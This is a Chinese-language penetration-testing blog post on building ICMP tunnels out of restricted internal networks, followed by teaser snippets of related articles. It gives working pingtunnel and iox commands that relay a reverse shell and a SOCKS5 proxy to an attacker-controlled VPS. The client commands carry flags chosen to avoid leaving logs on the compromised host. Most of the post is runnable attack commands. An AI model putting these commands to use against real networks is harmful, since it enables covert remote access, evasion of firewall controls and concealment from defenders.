icmp 隧道代理搭建

VSole2022-08-07 20:17:09

简介

在内网渗透中,内网隧道的搭建是必不可少的。有条件的情况下,优先使用tcp隧道,比较稳定可靠。但是遇到只有icmp协议出网的时候,就需要利用别的思路了。

ICMP代理

两台机器之间,只允许icmp 协议通讯,其他的协议tcp/udp 不允许,那么可以考虑利用icmp 隧道进行穿透。

常见的icmp 工具有

icmpshPingTunnelicmptunnelpowershell icmp

在不同的场景中需要用到不同的工具来进行穿透。

实验1 利用icmp协议反弹shell:

单向主机出网,使用icmp 反弹shell

使用工具:

pingtunnel(https://github.com/esrrhs/pingtunnel)

拓扑环境图下,Attack 为公网vps,攻击机,然后内网web 主机仅能ping通attack

首先在vps 执行

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

然后下载pingtunnel 作为Server 端,key代表了密钥

sudo ./pingtunnel -type server -key 457864

在被控主机Client执行

./pingtunnel -type client -l :4455 -s 47.x.x.x -t 47.x.x.x:8888 -tcp 1 -key 457864

以上意思就是客户端监听本地的4455 端口,指定服务端IP为47.x.x.x,然后将本地端口4455 的流量转发

到47.x.x.x的8888 端口。

在Server 使用nc 监听8888 端口

Client 执行反弹shell的命令,反弹到本地的4455 端口

此时Server 获取到nc的shell

可以看到此时的流量均为icmp

实验2 使用 iox + pingtunnel 搭建隧道

首先在服务端运行一下命令

./pingtunnel -type server -key 457864 //开启pingtunnel 服务端./iox proxy -l 8898 -l 1080 //开启iox,将8898 收到的请求转发到1080 端口

在Client执行以下命令,注意需要增加noprint 和nolog命令,避免在客户端产生大量的日志信息

./pingtunnel -type client -l 127.0.0.1:9999 -s 47.x.x.x -t 47.x.x.x:8898 -sock5 -1 -noprint 1 -nolog 1 -key 457864./iox proxy -r 127.0.0.1:9999 //将代理流量转发到9999

然后再本地配置代理 socks5://47.x.x.x:1080 然后就可以访问内网的IP

icmp
本作品采用《CC 协议》,转载必须注明作者和本文链接
ICMPWatch是一款功能强大的ICMP数据包嗅探工具,该工具基于Python 3开发,可以帮助广大研究人员捕捉和分析ICMP(Internet控制报文协议)数据包。该工具能提供有关捕捉数据包的详细信息,包括数据包源IP地址、目标IP地址、MAC地址、ICMP类型以及Payload数据等。除此之外,该工具还支持将捕捉到的数据包存储到SQLite数据库中,并以pcap格式保存。
icmp 隧道代理搭建
2022-08-07 20:17:09
简介 在内网渗透中,内网隧道的搭建是必不可少的。有条件的情况下,优先使用tcp隧道,比较稳定可靠。但是遇到只有icmp协议出网的时候,就需要利用别的思路了。ICMP代理 两台机器之间,只允许icmp 协议通讯,其他的协议tcp/udp 不允许,那么可以考虑利用icmp 隧道进行穿透。
ICMP隧道攻击
2022-04-27 21:50:29
ICMP一般用于检测网络的可通性
ICMP协议通常用来测试网络通不通、主机可不可达、路由可不可用。宅男们打游戏时也常用来ping一下,看看延迟高不高,太高迅雷就得关一关了。 而网络攻击者通过ICMP协议,可以进行隧道传输,实现数据窃取,规避掉一些防火墙规则。 如何检测这种隧道?用传统的签名无法对抗负载加密,复杂的统计比对让检测引擎不堪重负,准确率也不高。 而基于ICMP常规的通讯数据和攻击时产生的畸形数据,利用信息熵来分析,
它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用ICMP协议主要提供两种功能,一种是差错报文,一种是信息类报文。标识符和序号字段分别是16 位的字段。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。例如,icmptunnel会在所有的ICMP payload前添加”TUNL”标记来识别隧道。
使用 ICMP 传递 shellcode
2021-02-17 21:59:14
在研究不同的渗透方法时,我遇到了一种利用DNS的技术。在编写概念证明代码时,我注意到实现的ping函数很有趣。我们可以提供一个可容纳65,500字节的缓冲区。由于大小限制很大,我们可以将shellcode加载到我们的ICMP请求中,然后将其注入到目标的进程中。
近期,观成科技安全研究团队在现网中检测到了利用Gost工具实现加密隧道的攻击行为。
一个ICMP报文包括IP报头、ICMP报头和ICMP报文。当IP报头中的协议字段值为1时,就说明这是一个ICMP报文。
关于QueenSonoQueenSono是一款针对ICMP协议的数据提取工具,该工具基于Golang开发,并且只依赖于ICMP协议不受监控这一事实实现其功能。除此之外,该工具也可以用于基本的ICMP检查,或绕过某些身份验证机制,比如说许多公共Wi-Fi在连接到Wi-Fi后用于对用户进行身份验证。工具安装从源码安装广大研究人员可以直接使用下列命令将该项目源码克隆至本地
ping 使用 ICMP 协议, ICMP 工作在 IP层所以无端口号, 当多个进程使用ICMP 的时候,
VSole
网络安全专家